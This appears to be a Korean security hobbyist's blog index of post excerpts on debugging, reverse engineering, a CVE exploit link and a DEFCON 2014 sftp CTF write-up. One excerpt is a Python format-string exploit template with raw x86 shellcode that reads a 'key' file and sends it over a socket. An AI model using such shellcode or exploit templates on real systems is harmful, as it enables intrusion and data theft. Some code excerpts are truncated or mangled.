본문 바로가기

전체 글

[Writing] Linewar Sweep / Recursive Traversal Disassembling 보호되어 있는 글입니다. 더보기
CVE-2012-4792, sweetchip, CVE Exploit 베이직 매우 좋은 내용 다수 더보기
CrtlsalidHeapPointer, pUserData 에러 주요내용 http://www.gpgstudy.com/forum/viewtopic.php?p=111861 구현상황function1(){BYTE* pByte=NULL;...function2(pByte);} function2(BYTE* pByte){DWORD test = strlen(pByte)pByte = new pByte(test) } 기억은 안나는데 이런 식이었다-_-인자를 타 함수로 넘겨서 Heap을 할당해주는 방식을 시도했는데.. 아 뭐 이제보니 말도안되는 코드이긴 한데...CRT Startup 을 넘어서는 버그라고 함. 더보기
olly/ida에서의 HW Bp 처리방식 차이 디버그 모드올리스레드가 서스펜드되어 있을 때 HW 브포를 걸거나 풀면올리 HWBP 에서는 보이지만 프로그램 내부에서는 계속 Debug Register 내용이 감지된다.GetThreadContext 로 받아오는 Debug Register 값은 0 아이다스레드가 서스펜드 되든 말든 상관없이 잘 감지된다.GetThreadContext 로 받아오는 Debug Register 값 -1 릴리즈 모드체크안됨 왜 하나는 -1이고 하나는 0인가 ?일반 실행에서는 0이다. 더보기
Format String Bug python frame fsb 익스플로잇 기본틀 aa #/usr/bin/python from socket import * from struct import * # 쉘코드 및 NopSled 지정 nopsled = "\x90" sc = "" #sc += nopsled*0x10 sc += "\x55\x89\xe5\x83\xec\x20\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x05\x6a\x79\x66\x68\x6b\x65\x89\xe3\xcd\x80\x89\xc3\xb0\x03\x8d\x4d\xe0\xb2\x21\xcd\x80\x89\xc2\xb0\x04\xb3\x04\xcd\x80\xc9\xc3" s = socket(AF_INET, SOCK_STREAM) s.connect(("localhost", 6665.. 더보기
[C#] array byte to hex string static string Hex2Str(array b){ char * c = new char(b.GetLength()*2+2);byte a;c[0]='0';c[1]='x'; for(int i=0, j=0; i>4));c[j] = (char)( a>9 ? a+0x37:a+0x30);a= ((byte) (b[i]&0x0f));c[++j] = (char) (a>9?a+0x37:a+0x30);} return c;} 더보기
Variadic 매크로 VA_ARGS 매크로. 가변인자 형태의 매크로 또는 함수 정의. // variadic_macros.cpp #include #define EMPTY #define CHECK1(x, ...) if (!(x)) { printf(__VA_ARGS__); } #define CHECK2(x, ...) if ((x)) { printf(__VA_ARGS__); } #define CHECK3(...) { printf(__VA_ARGS__); } #define MACRO(s, ...) printf(s, __VA_ARGS__) int main() { CHECK1(0, "here %s %s %s", "are", "some", "varargs1(1)\n"); CHECK1(1, "here %s %s %s", "are", "som.. 더보기
2014 DEFCON - sftp STOR OLD 으로 신규파일 생성, 사이즈를 주지 않는다. 그리고 RETR 명령어를 사용하면 stat 함수로 사이즈를 리턴해 주는데 앞서 만든 파일 사이즈가 0이기 때문에 0을 돌려줌. 그리고 여기서 SEND 명령어를 입력하면 파일을 열어서 파일의 끝에 도달할 때까지 파일을 죄다 읽어서 보여줌. 실제 데이터가 존재하는 파일의 경우 stat 의 결과로 얻은 사이즈를 토대로 변동 스택(?)을 생성하여 ESP 를 충분히 넉넉한 크기로 당겨준다. 그래서 오버플로우가 생길 수 없는 환경이 만들어진다. 데이터가 있되 사이즈가 0인 파일을 찾으면 bof가 나겠구나 했다. 스택쿠키도 있었기 때문에 일단 릭 포인트를 찾아야 하는데 write 가 있으니 적당히 하면 되지 않을까. 당시 삽질이란 삽질은 참 많이했는데 일단.. 더보기